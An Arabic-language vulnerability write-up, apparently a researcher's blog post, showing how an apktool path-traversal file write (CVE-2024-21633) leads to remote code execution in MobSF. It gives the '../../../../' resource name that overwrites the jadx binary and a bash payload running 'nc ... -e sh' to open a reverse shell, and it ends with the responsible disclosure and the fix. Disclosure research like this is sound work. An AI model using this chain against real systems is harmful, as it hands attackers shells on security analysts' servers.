
MobSF تنفيذ التعليمات البرمجية عن بُعد (عبر CVE-2024-21633)
لقد وجدت ثغرة كتابة ملف عشوائي في apktool وأبلغت عنها عبر إشعار أمان GitHub. كنت أعلم أن العديد من المشاريع تعتمد على apktool، ولكن بعد نشر الإشعار والإصلاح لم يبدُ أن الكثيرين لاحظوا ذلك أو اهتموا به. قررت التحقق من تأثيره وإمكانية استغلاله في بعض التطبيقات الكبيرة المعتمدة عليه، وبدأت مع MobSF.
تسمح لنا الثغرة بكتابة أي شيء في مسار نسبي إلى "${decode target path}/res/"، وسيكون التأثير الأكبر هو الحصول على تنفيذ أوامر عن بعد (RCE). ولكن هناك عائق، الملف المكتوب ليس قابلاً للتنفيذ.
كانت لدي هاتان الفكرتان قبل الغوص في التفاصيل:
ولكن ماذا لو كنا محظوظين بما يكفي لوجود تطبيق يغير صلاحيات ملف ليجعله قابلاً للتنفيذ؟ والأكثر حظاً أن يتم تشغيله بعد ذلك؟ وكل هذا يجب أن يحدث بعد تنفيذ apktool. هذا هو الوضع تماماً مع MobSF. يستخدم MobSF أداة jadx كجزء من تحليله الثابت، حيث يستدعيها عبر عملية فرعية (subprocess)، ولكن قبل ذلك مباشرة يقوم بتغيير صلاحية jadx لتصبح قابلة للتنفيذ.
مقتطف السجل حيث يتم استدعاء apktool و chmod و jadx على التوالي:
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk
سنستخدم jadx كهدف، ولكننا نحتاج إلى المسار النسبي لـ jadx بالنسبة لمجلد res. يمكننا الحصول على ذلك باستخدام دالة os.path.relpath() في بايثون.
مجلد الموارد الأساسي لدينا هو "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/"
نريد الكتابة فوق ملف jadx الثنائي في المسار: "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'
سيكون الحمولة (payload) لدينا في res/raw/jadx
#!/bin/bash
nc host.docker.internal 9001 -e sh
اسم المورد (resource) سيكون "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
قم بتحميل ملف APK وانتظر تنفيذ jadx، وسنحصل على شل على مستمع nc الخاص بنا.
بنجو!

ثم أبلغت فريق MobSF بهذا عبر البريد الإلكتروني، وتلقيت رداً سريعاً وقاموا بـ إصلاح الأمر بتحديث إصدار apktool إلى الأحدث، ولكن سلوك جعل jadx قابلاً للتنفيذ وتشغيله بعد ذلك لا يزال قائماً. كنت أفضل أن يتم تعيين الصلاحية بشكل ثابت مسبقاً وأن يبقى الدليل غير قابل للكتابة.
تابع للمزيد! @0x33c0unt